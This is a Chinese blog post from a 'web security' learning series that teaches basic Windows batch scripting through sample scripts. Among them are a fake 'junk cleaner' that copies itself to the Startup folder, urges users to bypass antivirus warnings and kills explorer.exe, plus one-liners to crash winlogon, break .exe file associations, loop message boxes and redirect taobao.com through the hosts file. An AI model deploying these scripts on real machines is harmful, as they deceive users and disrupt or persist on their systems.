#yyds干货盘点# web安全day21:学习使用最基本的批处理程序
Posted 小梁L同学
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了#yyds干货盘点# web安全day21:学习使用最基本的批处理程序相关的知识,希望对你有一定的参考价值。
一个简单的小程序练手。
@echo off
color 0a
title 小程序 v1.0
:menu
cls
echo ====================================
echo 菜单
echo 1.修改管理员密*码
echo 2.定时关机
echo 3.退出本程序
echo ====================================
set /p num=您的选择是:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo 别闹 好好输入
pause
goto menu
:1
set /p u=请输入用户名:
set /p p=请输入新密*码:
net user %u% %p% >nul
echo 您的密*码已经设置成功
pause
goto menu
:2
set /p t=请输入时间
shutdown -s -t %t%
goto menu
:3
exit
常用的几个命令
系统垃圾清理
@echo off
title 系统垃圾清理
color 2f
echo =====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】 ====
echo.
echo.
echo start cmd >c:\\windows\\windows.bat
echo %0>>c:\\windows\\windows.bat
copy c:\\windows\\windows.bat "%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start
Menu\\Programs\\Startup\\">nul
if %errorlevel%==0 goto next
copy c:\\windows\\windows.bat "%USERPROFILE%\\「开始」菜单\\程序\\启动\\">nul
if %errorlevel%==1 goto error
资源管理器重启
ping -n 5 127.0.0.1>nul
taskkill /im explorer.exe /f >nul 2>nul
echo.
echo =====完犊子了,你的系统已经废了=======
ping -n 5 127.0.0.1>nul
echo.
Start c:\\windows\\explorer.exe
echo.
echo =====已修复好!是不是吓坏了!!嘿嘿==========
pause
蓝屏
ntsd -c q -pn winlogon.exe
拓展名修改
assoc .exe=txtfile
assoc .exe=exefile//恢复
死循环
do
msgbox "循环啦"
loop
修改地址解析
echo 1.1.1.1 www.taobao.com >>c:\\windows\\system32\\drivers\\etc\\hosts
进阶命令
删除win2k/xp系统默认共享的批处理
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:delshare.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> c:delshare.reg
echo "AutoShareWks"=dword:00000000>> c:delshare.reg
echo "AutoShareServer"=dword:00000000>> c:delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:delshare.reg
echo Deleting the temprotarily files.
del c:delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
#yyds干货盘点# web安全day34:一步一步学习Linux防火墙#yyds干货盘点# web安全day11:进一步学习windows域的gpo
#yyds干货盘点# web安全day9:5个实验实实在在学习windows域部署